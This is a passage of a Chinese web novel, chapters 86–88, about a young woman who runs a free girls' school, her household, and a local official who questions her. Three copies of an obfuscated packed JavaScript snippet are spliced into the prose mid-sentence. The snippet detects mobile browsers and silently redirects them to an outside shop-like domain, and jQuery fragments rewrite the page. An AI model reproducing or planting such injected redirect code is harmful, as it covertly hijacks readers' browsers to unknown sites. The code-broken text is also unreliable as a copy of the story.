看她如此喜欢一个男人的外表,戴庭芳不禁小声说道:“真是肤浅。” 姜佑安抬起头,不满地看着戴庭芳,“对,我就是肤浅,我此生的梦想就是有钱,还有美男相伴,怎么了?你们男人还不是都想升官发财,身边妻妾环绕?” “我才没这么想。”戴庭芳转过身,自顾自进了学堂。 姜佑安冲他的背影翻了个白眼,跨过二门,进了院子,郭英和钟二娘走了过来。 “谁来找你?是带孩子来读书的吗?”郭英问道。 “不是,之前我们在河边游春,跟我们同行有一个皮肤黝黑的男人,你还记得吗?”姜佑安说道。 郭英想起来确实有这么一个人,“哦,是他啊。” “我今天先回去了,改天再来看你。”钟二娘说道。 “你家住哪里,离这里远不远?”郭英问道。 姜佑安拉住她的手,“别着急走啊,你为了我的事专门跑了这一趟,留下来吃个午饭再走吧。” 钟二娘笑着拒绝,“不了,你说的事,我会好好考虑的,等我考虑好了再过来。” 姜佑安也没有强留,“那好,我们等着你。” “对,我也等着你,那学堂里都是小孩子,我自己一个大人去,还不好意思,二娘,你可一定要来陪着我啊。”郭英笑着说道。 送走了钟二娘,姜佑安拿起椅子上的包裹进了屋,又打开钱袋查看里面的钱。 “这是那个黎公子给你的?”郭英问道。 “是,这些人的捐助,我得记下来。”姜佑安说着回了房间去找笔墨,先把黎泱泱的二十两记在账上。 郭英跟了过去,“他为什么要给你钱?” “他是个好人,听说我在办书院,特意给我送来的。”姜佑安说道。 郭英站在桌边,食指轻轻抚摸着桌面上的纹路,低声说道:“之前去游春的时候,我扰了你们的兴致吧。” 姜佑安放下笔,回想起当时的场景,“是你说要去游春,我才有机会带着一家人,和黎公子、戴公子一起去河边喝酒赏景,那天真是热闹,我一直想要跟你道个歉的,可惜你不愿意见我。” “是我该跟你道歉,本来只是随意地说说话,我却冲你乱发脾气。”郭英低垂着脑袋说道。 “我以前家里有点小钱,买了仆人,养着乐伎,我只考虑自己开不开心,从没想过她们的处境,也从没考虑她们愿不愿意,如今经历了这许多,我才明白,你说得对,一旦没有了钱,没有了权势,是很容易变成仆人甚至变成阶下囚的,以后的人生是好是坏,只能看运气了。”姜佑安说道。 郭英抬起头,看着墙上的窗户透进来的光,“小时候,我邻居家有个小女孩,跟我很要好,她爹是个读书人,从小教她读书写字,我去找她玩的时候,她爹就让我一块儿学,还借书给我看。” 郭英停顿了一下,姜佑安没说话,等着她继续往下说。 “后来他爹病死了,她娘改嫁了,她就被卖了,我看到那些丫鬟男仆,就总是想到她。”郭英叹了口气,神情落寞,“也不知道她现在怎么样了。” “她被卖到哪里去了?”姜佑安问道。 “不知道。” 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“你不是说上次买书,钱都给花完了吗?这钱是哪来的?”袁竹问道。 “上午黎泱泱来过了,是他给的钱。”姜佑安说道。 戴庭芳迟疑地接过银子,“他怎么会给你钱?” “他说是替他爹给的,以后我们就互不相欠,两清了。”姜佑安说道。 “以后不来往也挺好的,他那个爹,我总感觉不太放心。”袁竹说道。 “现在没有知县给他撑腰了,赵雄的案子也结了,料他也翻不出什么花样来了。”姜佑安撇了撇嘴,“只是白白错失了一个美男。” “你总说这个,黎公子说不定就是被你给吓跑的。”袁竹去拿了锄头,出门干活去了,李长风也跟了去。 “他那么高大魁梧,哪里会被我吓到。”姜佑安转头向戴庭芳问道:“戴公子,贾濂的事有没有消息?” “没有。”戴庭芳垂下眼帘,看着手中的银子,“我本想让我爹帮帮忙的,可是……” “没事,我就随便问问,案子在知州手里,怎么判决,也全看知州大人了。”姜佑安说道。 “不,我是说女子书院的事,我从没存过银子,平时手里有钱都用来买书了,本想让我爹帮忙捐些钱,他却不肯,说女人读书没用,有钱也要用在自家书院里。”戴庭芳神情沮丧,不敢去看姜佑安的脸。 姜佑安走过去,拍了拍戴庭芳的肩膀,“他说没用不算,我们知道有用就可以了,你不用愁钱的事,你来教书,还不收束脩,已经是帮了我天大的忙了,等以后我手头宽裕了,就给你按月开工钱。” “我不用工钱,在这里教书是我自愿的,我去学堂了。”戴庭芳站起身,向外走去。 “我知道你是自愿的,不过我也不能让你白干。”姜佑安跟着出了屋,却见袁竹走了进来。 袁竹神色有些紧张,向姜佑安说道:“姜佑安,孔大人来了。” 姜佑安向袁竹的身后看去,果然见一身便服的孔贺走进了二门,身后跟着李长风还有两个小厮,姜佑安迎过去,行礼拜道:“民女姜佑安,拜见孔大人。” 戴庭芳、阮荷和杨恩都一一向孔贺行了礼,孔贺让众人免礼。 “大人亲自前来,所为何事?”姜佑安问道。 “有人状告你斗殴伤人,我特来查问。”孔贺说道。 86. 孔贺 “状告姜姑娘斗殴伤人?大人是不是弄错了?”戴庭芳脸上现出担忧的神色。 “县里的赖川,村里的李贵,你们可认识?”孔贺问道。 听说是这两人,姜佑安紧张的心情放松下来,把赖川要强行带走阮荷,李贵占阮荷便宜的事,都详详细细地告诉了孔贺,孔贺当即派了一个小厮去村里调查。 袁竹邀请孔贺去屋里坐,孔贺略微客气了两句,去了屋里就坐,阮荷给他倒了茶,他让众人随意说话,不必拘束,大家就都坐了。 “大人就为了这点小事,还专门跑一趟?直接让捕快调查不就好了?”姜佑安问道。 “最近要查的案子比较多,我也不是专门来查这个的,是知州大人托我过来看看,我今日恰巧在附近办事,就过来了。”孔贺说道。 “知州大人?他要您过来看姜姑娘?”戴庭芳问道。 姜佑安也有些惊讶,“他怎么知道我在这里?” “知州大人不是来托我来看姜姑娘,而是托我来看种菊花的袁姑娘,他有事脱不开身,让我来看看袁姑娘这里还有没有其他珍奇的菊花品种。”孔贺说道。 “没有了。”袁竹摇了摇头,“我只有那两……那一盆,还是碰巧种出来的,其他的都是普通的白菊、□□和红菊。” “真是抱歉,让孔大人白跑一趟了。”姜佑安说道。 “也不算是白跑,贾濂送给知州大人的那盆花,想必没给钱吧。”孔贺说道。 姜佑安弯起嘴角,微笑道:“一盆花,买我一条命,自然不用给钱。” 孔贺了然地点了点头,从怀里拿出一锭银子来,轻轻放在桌上,“知州大人猜想会有这样的情况,让我把买花的钱给袁姑娘。” “知州大人客气了,我们这里最不缺的就是菊花,哪里用知州大人给钱,是我们该谢谢孔大人,孔大人要是喜欢菊花,明年我再给你送。”袁竹笑着说道。 “我是秉公执法,可不会收你的贿赂。”孔贺笑了笑,“知州大人也是一样,你们种花辛苦,他不能白收你们的花。” “既然如此,那我们就收下了,我正好缺钱花。”姜佑安说道。 “赖川和李贵的事,等我们调查清楚后,会好好警告他们。”孔贺喝了两口茶,站了起来,“不耽误你们了,我先回去了。” 众人起身把孔贺送出了大门,孔贺见不时有小姑娘来到门口,跟姜佑安和戴庭芳打了招呼,就进了院门。 “怎么有这么多小女孩过来?还叫你们院长、老师?”孔贺奇怪地问道。 “我租了这个房子,办了个女子书院,专门教女孩子读书。”姜佑安答道。 “女子书院?教女孩子读书?”孔贺有些好奇,“都教什么?” 姜佑安见他感兴趣,就把他带去学堂看了看,还让戴庭芳介绍了正在学的内容,重又出大门时,姜佑安向孔贺问道:“我这个书院是不收钱的,最近学生增加,我有些负担不起了,孔大人,您看您愿不愿意捐助一点儿?” 孔贺哈哈一笑,“你还找我讨上钱了?好,我可以捐助,不过,我有一个条件。” “什么条件?”姜佑安问道。 “你再开一个男孩子的学堂,让这附近的男孩也能免费读书,我就给你捐钱。”孔贺说道。 “县里就有崇正书院,也是不收费的,男孩子想读书,去县里不就好了,我这里都是女孩子,不方便的。”姜佑安说道。 “我当然知道县里有书院,不过,那里不是启蒙的学堂,家里没有条件读书的,也不可能进得去,这里的普通农家,男孩子都没有书读,你要教孩子读书识字,也该先考虑那些男孩子才是,他们可是日后的一家之主,能知书达理,不是更好?”孔贺说道。 姜佑安摇了摇头,“孔大人不愿意捐就算了,我是不会办男子书院的,若想家长让男孩子读书,拼尽全力也会把他送进书院,女孩子却没有这样的机会,我不想把我的钱财,我的精力,分给男人。” “有教无类,你不要因为自己是女人,就如此偏心,既然要教书育人,就该让男孩子也有机会读书识字才是。”孔贺说道。 姜佑安冷笑了一声,“好一个有教无类,那些只招收男人的书院,怎么就不愿意招女人呢?这世间已经如此偏向男人了,我偏向女人一些,又何妨?” “男人读书可以参加科举,可以建功立业,女人又不行,让男人读书才是理所应当的。”孔贺说道。 “是你们男人不让女人读书,不让女人参加科举,不让女人建功立业,怎么反倒说女人不行?”姜佑安越说越生气,“我开的书院,我说了算,我就是偏向女孩子,就是想让女孩子知书明理,不行吗?” 戴庭芳看着孔贺的脸色,小心地劝道,“姜姑娘,你别生气,咱们好好跟孔大人说。” “我跟他没什么好说的,孔大人慢走,恕不远送!”姜佑安说完,转身回了院里。 孔贺尴尬地笑了笑,“姜姑娘这脾气真是不小啊。” 戴庭芳向孔贺作揖行礼,“孔大人见谅,我代姜姑娘向大人道歉。” 袁竹也慌忙行礼,“她什么都不懂,就爱乱说话,大人你别跟她一般见识。” “没事,我也没怪她。”孔贺从怀里掏出两块碎银子来,拉过戴庭芳的手腕,放在了他的手里,“今天出来没带多少钱,这些你拿着,算是我对姜姑娘的支持。” 孔贺又跟戴庭芳说了几句话,小厮驾着马车来到了大门口,众人目送孔贺上了马车,往县里去了。 袁竹进屋去找姜佑安,“你怎么能冲孔大人发脾气?还好他不跟你计较,我跟你说,当官的都不是好惹的,你要小心一些!” 姜佑安在桌边坐着,无所谓地翻着手上的书,敷衍着答道:“好,我知道了。” “你真知道还是假知道?”袁竹看着她的样子,十分不放心,“你就安份些吧,不要再惹事了。” “我哪里惹事了?”姜佑安见戴庭芳也走了进来,奇怪地问道:“戴老师,你怎么不去教书?” “不能一次性教太多,孩子们记不住,我让她们自己复习复习。”戴庭芳来到姜佑安身边,“孔大人说贾濂被革职了。” “看来知州大人没有包庇他,挺好,这样以后他就不能欺压百姓了。”姜佑安放下书,“他还说什么了?” 戴庭芳把两块碎银子放在桌上,“他说今天带的钱不多,这些给你,是对书院的支持。” “就这么点钱,真够抠的。”姜佑安看了看那银子,有些嫌弃地说道。 袁竹去把孔贺留下的那锭银子拿来,递给姜佑安,“嫌少?这个也给你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285967|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这是你卖菊花的钱,你自己收好吧。”姜佑安说道。 袁竹把银子塞到姜佑安手里,“那些菊花是我们一起种的,等过几天我算算账再分给你,你不是缺钱吗?先拿着吧。” 姜佑安抬头看着袁竹:“你手里的钱够花吗?够咱们过冬吗?” 袁竹笑了笑,“你放心,我手里要是没钱,是不会给你的,今年花种得多,赚得也比往年多,钱你先用着,冬天咱们还有梅花卖,等明年开春,还可以再多买些地,我保证让你的书院能开得下去。” 姜佑安从椅子上站起身来,“你愿意拿钱让我办书院?” “女孩子学读书识字是多好的事啊,我又什么可反对的?”袁竹笑着说道:“等明年地多了,我们忙不过来了,你可得让你的学生们给我帮帮忙。” 姜佑安也笑了,“那可不能白帮,你得给我的学生们出工钱。” 袁竹佯装生气,“我都给书院拿钱了,还不能让学生给我干干活?” “一码归一码,明年你都是大地主了,还不能让我占点小便宜?”姜佑安说道。 “袁姑娘还要多种菊花吗?孔大人说,明年要是还有珍奇的品种,知州大人还要买。”戴庭芳说道。 “哪有那么多珍奇品种,只怕明年会让知州大人空跑一趟。”袁竹认真地考虑着明年的事,“县里就这么多人,菊花种得太多,就会卖不出去,还是得种些别的花,要不,就得到别的镇上去卖。” “知州要亲自来买花?”姜佑安问道。 “这个不好说,定州城离得不远,知州大人要是公务繁忙,可能会派手下来,要是不忙,自己来也不是没有可能。”戴庭芳说道。 袁竹看着姜佑安的神色,奇怪地问道:“你怕他过来?你是不是认识他?” 姜佑安有些忧心,“袁竹,我以前跟你说过,我朋友的叔叔特别喜欢花,这个叔叔就是王世镜,他要是知道我在这里,肯定会把我的行踪告诉我父亲,到时候,说不定我还得被抓回去成婚,我好不容易才逃出来的,可不能被他发现。” “你是逃婚出来的?”戴庭芳很惊讶,“你到这里这么久了,都没有跟你家里人取得联系吗?他们都在找你吧,一年多音信全无,你家人肯定很担心你。” “担心什么?他们不会担心的。”姜佑安摇了摇头,坐在了椅子上,低头看着地面,“他们要是在乎我,就不会把我嫁给一个老男人做妾。” 戴庭芳听了,更感震惊,“把你嫁给老男人做妾?你父母怎么能这么对你!” “我也想不通,他们为什么会这么对我,我不能接受这么的安排,就逃跑了。”姜佑安说道。 “你做得对!”戴庭芳说道。 抬头看着戴庭芳一本正经的脸,姜佑安不禁笑了起来,“我还以为你会说,做儿女的要孝顺,要听父母的话,没想到你还会认同我。” “嫁给一个老男人做妾,这种命运太过残酷,谁都不该被这样对待。”戴庭芳说道。 谁都不该被这样对待,姜佑安在心里默默重复着这句话,脸色逐渐变得凝重起来。 “知州大人要是来了,我就让人告诉你躲起来,反正你用的是假名,他就算来了,也不知道是你。”袁竹说道。 “姜佑安是假名?那你的真名是什么?”戴庭芳问道。 87. 姓名 姜佑安看向袁竹,“你怎么知道我用的是假名?” “你是逃婚来到这里的,要是用真名在这里生活,不就是等着被抓回去吗?”袁竹说道。 姜佑安轻轻笑了,“袁老板真是聪明。” 袁竹也笑了笑,“我也不是白活这么多年的,对刚遇见的人多存个心眼儿,不是坏事。” 姜佑安看向戴庭芳,“我抛弃了以前的人生,也抛弃了以前的名字,现在,我只是姜佑安,以后也是。” 戴庭芳点点头,脸上是温和的笑,“我知道了,要是知州大人来了,我也会帮忙,不会让他见到你。” 姜佑安深深地看着戴庭芳的眼睛,“这么说,戴老师明年秋天还会在这里?” “当然。”戴庭芳毫不回避地看着她,“姜院长在这里,我就在这里。” “一年租金五十两,说得好像你们俩能出得起似的。”袁竹打趣道。 姜佑安凑过去,抱住了袁竹的胳膊,“我们出不起,还得靠袁老板。” “哎呀!你理我远点儿。”袁竹皱着眉头,推拒着姜佑安,戴庭芳看她俩玩闹,微笑着走出房门,往学堂去了。 悄悄守在门外的李长风和杨恩见没什么事,也都各自散去了。 姜佑安把孔贺和袁竹的钱各自记了账,把书收了起来,本以为戴庭芳干不了多久,到时候自己就得接替他,没想到他竟没有离开的打算,那就一起把这个女子书院好好办下去吧。 过了几日,钟二娘决定来读书,还拉了一车粮食来,说是今年收的租子,姜佑安说读书不收钱也不收粮,况且之前已经收了她的香料,钟二娘却倔得很,不肯把粮食拉回,姜佑安只好收下。 见钟二娘来读书了,郭英也来了,拿了三十两银子来给姜佑安,姜佑安不肯收,问她哪来的钱,郭英说她被赵雄□□的事在村里传开了,定的亲事被退,她索性拿了嫁衣去县里卖了,以后也不打算嫁人了。 钟二娘安慰了郭英一番,姜佑安让她把银子拿回去,她也不肯,姜佑安只好说先替她收着,记好账,要她用钱的时候再过来拿。 有了钟二娘和郭英,其他想读书的大人也有不时过来听讲的,为方便大人平时干活,姜佑安和戴庭芳商定,女子书院上午教书,下午自学,愿意在学堂自学就到学堂来,愿意在家自学就在家里,每上三天学堂,就休息两天,休息日也能过来自学,使用学堂里的笔墨书籍。 大人和孩子都觉得这样的安排很好,既不会耽误家里的活,又能安心地读书写字,女子书院的学生又增加五六人。 阮晨烟来看阮荷,见她们换了宅子,还开了书院,十分羡慕,可惜现在没有什么活,她不能用挣钱的借口留在袁家。 阮荷发现妹妹也想读书,就让阮晨烟留下,读书的时候和自己同吃同住,休息日就拿钱给阮晨烟,让她拿回去给她娘,她娘见有钱拿,也就乐意让阮晨烟过来了。 天气渐冷,天亮得也晚了,怕学生们早上摸黑过来,会有危险,姜佑安推迟了上午上课的时间,每天早上都和李长风在河边的小树林里守着,保护学生们的安全。 太阳升起,晨雾消散,寒风中树叶簌簌作响,一个老奶奶牵着一个小女孩来到了树林边。 “奶奶,你回去吧,前面很快就到了。”小女孩说道。 老奶奶牵着小女孩的手,和蔼地笑着,“我送送你吧,不差这几步了。” “我们院长在那里呢,你不用送了。”小女孩指着树林说道。 老奶奶往树林里看看,还是牵着小女孩往前走,“那正好,我去跟院长打个招呼。” 姜佑安听着这老人家的声音有些耳熟,一时想不起来是在哪里见过她,听说老人家要跟自己打招呼,她忙快步迎了过去,笑着向两人打招呼,“早上好啊。” “院长早上好。”老奶奶笑呵呵地来到姜佑安身前,“你让我家孙女去读书,还不收钱,我真不知道怎么感谢你才好。” “老人家不必客气,看着孩子们读书识字,我心里也高兴。”姜佑安说道。 老奶奶微微佝偻着腰,仔细端详着姜佑安的脸,“我好像在哪里见过你。” 姜佑安也努力搜寻着自己的记忆,“我也觉得好像在哪里见到过您。” “你是本地人吗?”老奶奶问道。 “不,我是外地来的。”姜佑安说道。 老奶奶好像想起了什么,“外地的?你,是不是那个夜里闯到我家院子来的外地人?” “哦!是你!老人家,我想起来,去年您留我在您家里吃了晚饭,还把您的床铺让给我睡。”姜佑安惊喜地说道。 “原来真的是你,你给我的那个耳环,我儿子回来跟我说,那个是金子做的,太贵重了,我不能收,你等着,我回去拿来给你。”老奶奶说着就要往回走。 姜佑安赶紧拦住她,“老人家,你不用还给我,当时我又累又饿,耳环能换一顿吃的,挺好的,您就留着吧,什么时候没钱用了,还可以拿到当铺去换些钱花。” “一顿饭能值几个钱,我请你吃都行,你等着,我取了给你送过去。”老奶奶说道。 “真的不用了。”姜佑安拉住老奶奶的胳膊,握住了她苍老的手,“那是我送给您的,送出去的东西,哪有要回来的道理。” “不行,那是金子的,太贵……”老奶奶还是坚持要往家去,姜佑安从身侧搂住了她的肩膀,耐心地劝道:“一只耳环而已,对我来说,不是什么贵重的东西,你看我现在办的书院,不都是不收钱的吗?” 老奶奶好像有些理解了,“你家里很有钱?” “对啊,非常有钱。”姜佑安松开了老奶奶,笑着说道。 老奶奶这才放了心,轻松地笑了,“那就好,有钱就好,有钱就什么都不愁了。” “对啊,什么都不愁了。”姜佑安附和道。 一辆马车停在近旁,戴庭芳下车走了过来,“姜院长,出什么事了吗?” “早啊,戴老师。”姜佑安心情很好,笑着跟戴庭芳打招呼,“没什么事,老人家来送孙女,我跟她说说话。” “奶奶,这是戴老师。”小女孩向老奶奶介绍道。 老奶奶脸上一团和气,“是戴老师啊,我家孩子,让你费心了。” “夏欣这孩子读书特别用功,功课也都完成的很好,一点儿都不用我费心。”戴庭芳说道。 “那就好啊,没有白费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294885|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院长和戴老师的一片心。”老奶奶欣慰地笑着,她看向姜佑安,“对了,之前你跟我说你叫什么来着,我都给忘了。” “我姓姜,叫姜佑安。”姜佑安说道。 老奶奶轻轻皱起了眉头,有些疑惑地说道:“你姓姜?不对吧,我怎么不记得你姓姜?” 姜佑安脸上带着微笑,“许是时间久了,您也不记得了吧。” “不可能!我也姓姜,你要是告诉我你姓姜,我不可能不记得。”老奶奶说道。 “那她姓什么?”戴庭芳问道。 老奶奶皱着眉头,低头思索,姜佑安赶紧打断她,“姜奶奶,您肯定是记错了,您回去吧,我跟戴老师会把夏欣送过去的。” 老奶奶想不起来,也就只好作罢,“行,我回去了,辛苦姜院长和戴老师了。” 挥别了老奶奶,戴庭芳让夏欣上了马车,让车夫把她送到书院去,自己和姜佑安一起慢慢走回去,李长风不近不远地跟在后面。 “你好像对我的过去很感兴趣。”姜佑安说道。 “确实,我想知道你的过去,我在京城待过一段时间,说不定我们以前有过相识的机会,又或许我们见过面,却不认识彼此。”戴庭芳说道。 姜佑安点了点头,眼里有了些笑意,“我们之前确实有过机会相遇。” 戴庭芳转头看向一旁的姜佑安,“什么机会?” “我听说新科探花郎丰姿俊秀、面若桃花,就想去结识一下,后来,听说探花郎已经有了婚约,我就放弃了。”姜佑安说道。 “你以前是什么身份,为什么可以结识探花郎?”戴庭芳问道。 “那你先告诉我,你的婚约是怎么回事?”姜佑安问道。 “婚约是太师和家父定下的,后来太师家生了些变故,我也被党争牵连,婚约就取消了。”戴庭芳说道。 “那还真是可惜了。”姜佑安说道。 “有什么可惜的?”戴庭芳问道。 “你这样的才学,不能当官,不能迎娶高官之女,在我这里教书,还没有束脩可拿,真是可惜。”姜佑安叹道。 戴庭芳看着路旁的麦田,脸色淡然,“我觉得现在这样也挺好的,倒是你,以前应该也是锦衣玉食的小姐,现在生活在乡野间,不觉得落差太大吗?” 姜佑安笑了笑,“还好吧,比起嫁人、守着相公过日子,还在现在的生活更适合我。” “以你的性子,我真的很难想象你会好好守着相公过日子。”戴庭芳想着,眼角漾出了笑意。 “那你以为我会怎么过日子?”姜佑安问道。 戴庭芳认真想了想,眉头轻皱,“大概会不停地沾花惹草,今天喜欢这个美男,要拥入怀中,明天看那个男人长得好看,又要上前调笑,永远没个安生。” 姜佑安不禁哈哈大笑,“戴老师真是太了解我了。” 看姜佑安笑着如此开心,戴庭芳觉得心里闷闷的,“我真的觉得奇怪,你父母究竟是怎么教育你的,竟会把你纵成这样的性子,放任你如此肆意妄为。” 姜佑安快走两步,拦在戴庭芳面前,笑着把右脸凑过去,“戴老师,你亲我一下,我就告诉你,所有你好奇的事。” 88. 卖花 戴庭芳的呼吸有一瞬间的停滞,他紧张地咽了一下口水,回头看了看身后,李长风还在跟着,见两人站住了,他也停下了脚步。 “你连我也要调笑!”戴庭芳压低了声音,生气地说道。 姜佑安笑着往旁边让开了路,“别生气嘛,你长得这么好看,又这么了解我,难道不知道我一直想占你的便宜?” 戴庭芳板着脸,快步向前走去,“你不想说就算了,何必拿我当幌子。” “我是真心喜欢你的长相,程祥没跟你说过吗?”姜佑安嬉皮笑脸地跟他道歉,“戴老师,我错了行不行,你别不理我嘛,我夸你长得好看,你不高兴吗?” 戴庭芳疾步前行,姜佑安紧跟其后,一路说着恭维他的话,戴庭芳的脸越来越黑,等到了宅子门口,阮荷从里面迎出来,“佑安姐姐回来了,戴老师,早上好。” 戴庭芳从怀里拿出一本书来,递给了阮荷,“这是程祥给你的。” 阮荷接过去看了看,惊喜地看着戴庭芳和姜佑安,“是菜谱!他还记得我找他要过皮脆烧鸽的菜谱。” “程祥说你们都喜欢那道烧鸽,这是他专门去找厨娘讨教的,还有一些别的菜的做法,以后你们可以自己做着吃了。”戴庭芳说道。 “太好了,表哥,你回去替我谢谢程祥大哥。”阮荷翻着菜谱,兴奋地说道。 “程祥真是细心,他最近在做什么?”姜佑安问道。 戴庭芳吩咐车夫驾着马车回去,才回答姜佑安,“每日都在读书,他很用功。” “挺好,你让他哪天有空也跟你一起过来吧,好长时间没见,我们都想他了。”姜佑安说道。 戴庭芳的语气有些生硬,“是你想他了吧。” 阮荷听了,颇感意外,“表哥,你怎么了?” 姜佑安冲阮荷笑了笑,安抚道:“没事,我刚才说错话,惹他生气了,你先去学堂吧,我在这给他道个歉再进去。” “嗯。”阮荷点了点头,转身进了大门。 姜佑安歪着脑袋,玩味地看着戴庭芳的脸,“戴老师,你今天怎么好像不太对劲呢。” “我一向是如此。”戴庭芳微微侧头,移开视线,“你不要戏弄我,也别想玩弄程祥的感情。” 姜佑安无奈地笑了一声,“你说什么呢?我和程祥只是朋友。” “那就好。”戴庭芳从怀里拿出三块碎银子,递给姜佑安,“程祥听说你办的女子书院不收钱,这是他给你的。” 姜佑安摇头拒绝,“他能有多少钱,我不要他的银子。” “这是他的一片心意。”戴庭芳固执地把银子往姜佑安面前递,“他说他吃住都在学院,平时没有要用钱的地方,让你一定要收下。” 姜佑安从戴庭芳的手心里拿过银子,“行,那我就收下了,代我向他道声谢。” 戴庭芳完成了程祥交代的事,便抬脚往大门走去,不想却被姜佑安一把拽住了胳膊,“戴老师,气还没消呢?” 看着姜佑安的笑脸,戴庭芳心里暗暗来气,“男女授受不亲,姜院长请自重。” 戴庭芳一甩袖子,兀自进了院门,姜佑安撇了撇嘴,低声抱怨道:“真是小气,一点儿嘴上的便宜都不让我占。” 李长风凑了过来,“你跟戴老师吵架了?” “吵架了。”姜佑安把银子揣进怀里,向院子里走去。 “为什么吵架?他欺负你了?”李长风跟在她身边,关心地问道。 姜佑安呵呵一笑,“他哪能欺负我,我欺负他还差不多。” 把戴庭芳的事搁在一旁,去找袁竹商量买水仙花球的事,知道王世镜在定州,姜佑安就不好亲自去了,于是把钱交给袁竹,让袁竹和杨恩一块去买水仙花球。 天气冷了,戴庭芳发现学生们写字觉得冻手,去找姜佑安商量,姜佑安想去县里多买几个炭盆,再买些碳回来,袁竹觉得这样太浪费钱,不如用泥巴做些火盆,再去山上砍柴来烧。姜佑安同意了袁竹的提议,赚不来钱,就要省些用。 在袁竹的指导下,姜佑安、杨恩和李长风用黄泥和旧麻绳做了七个泥火盆,但泥火盆还需要阴干十天半个月的时间,姜佑安就把家里的一个炭盆一个泥火盆都放到了学堂里,让大家围着坐,还在学堂门上挂了厚厚的棉帘。 学堂里暖和了,姜佑安又觉得大家住的屋里太空、太冷,于是去县里买了几个手炉还有一些碳回来,让大家没有火盆用的时候,就抱着手炉暖手。 自从决定烧柴取暖,姜佑安便又开始了上山砍柴的日子,李长风也跟着一起砍柴背柴,他个子长高了些,身子骨变得健壮了许多。 有时杨恩也会上山,不过,他一般是跟村民一起去,木匠陈大用走了之后,附近村里的人想打什么家具,都会来找他,他就和村民一起去山里寻找合适的木材,再齐心协力运下山来。 龙家的宅子里有个荒废的园子,姜佑安没想好做什么用处,一直没有动,杨恩在园子后门的位置开辟出一块空地来,在里面做木工活,声音大些也不会影响到学堂里的学生。 打家具剩下的木料,杨恩都会想办法利用起来,给学堂做桌椅,或者家里需要的其他家具。 水仙花球买回来之后,杨恩又琢磨着在院子里盖个棚子,给水仙花挡风雨,万一冬天太冷,还可以直接在棚子里烧炭加温。 龙世蓉的弓箭社一直没举办活动,自从接手了古董行之后,她只来了一趟,来查看这个宅院还有女子书院的情况,姜佑安问她能不能在院子里搭棚子,龙世蓉同意了,说只要以后能把院子恢复原样就行。 得到了龙世蓉的允许,杨恩和姜佑安小心地撬开了地砖,把木桩子楔进地里,在袁竹、戴庭芳和李长风的帮忙下,搭了个屋顶可拆卸的棚子。 棚子和水仙花球准备就绪,姜佑安就和袁竹一起推着板车去了县里,到瓷器店买瓷盘和花盆,瓷器店的老板已和姜佑安相熟,见她买的多,便又多送了她们一些盘子。姜佑安很高兴,说等水仙花开了,也给老板送一盆来。 泥火盆能用之后,姜佑安又给学堂里加了两个火盆,学堂里的读书声日日不断,棚子里的水仙花逐渐变得郁郁葱葱。 天气越来越冷,在下过第一场雪之后,姜佑安给学生放了冬假,学堂里没有学生,戴庭芳也不再来了,袁家一下子变得冷清了不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304631|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杨恩在屋里锯木头,阮荷和李长风一起写字,一起琢磨菜谱。山里的蜡梅开了,姜佑安和袁竹一起去卖蜡梅,花田里的今年新种的梅花开了,两人一块去卖梅花,等水仙花开了,两人也一起推着车连水仙一起卖。 今年买了两百个球,再加上去年剩下的,每次出门,车上都装得满满当当,庙会的前两天卖得很好,能买得起的都买了,慢慢就卖不动了,袁竹让杨恩、阮荷和李长风继续在庙会上卖,她和姜佑安去村里借了牛车,去附近的村镇和集市上去卖。 村镇和集市上的有钱人不多,袁竹和姜佑安只好降价卖,直到年三十当天,还剩下四十多个棵水仙没卖出去,眼看街上人越来越少,两人买了年货就直接回了家。 杨恩、阮荷和李长风也从庙会上回来了,车上剩的水仙不多,还有鱼、肉和点心之类的,都按姜佑安的要求买的。 宅院内外都贴上了春联门神,屋檐下挂着两盏灯笼,天气寒冷,但人心里都喜气洋洋,中午随意吃了些饭,一家人关上大门,都去了厨房,炸鱼、炸肉、蒸馒头、包包子,忙活了起来。 现炸的小酥肉出锅了,肉香引得人直咽口水,姜佑安放下手中切菜的刀,马上去抓着吃,小酥肉又烫手又烫嘴,她一边呼气一边大嚼,逗得大家都笑了起来。 袁竹嫌弃地斜眼看着她,“又没人跟你抢,你慢点儿吃!别烫坏了!” “好吃!呼,现炸的就是香!你们也尝尝。”姜佑安热情地推荐道。 袁竹摇了摇头,“这些日子也没少给你做肉吃,怎么还是这么馋。” 李长风从灶口前走了过来,拿筷子夹了一块,吹了几口气才放进嘴里,“真好吃!” 杨恩正在和面,伸着头向李长风凑过来,李长风又夹起一块,吹了吹,递给杨恩。 姜佑安笑呵呵地又拿起一块肉吃起来,“好吃吧。” 袁竹用笊篱捞出油锅里的肉,放进瓦盆里,“是你做的吗?好吃也是我们做的好吃。” 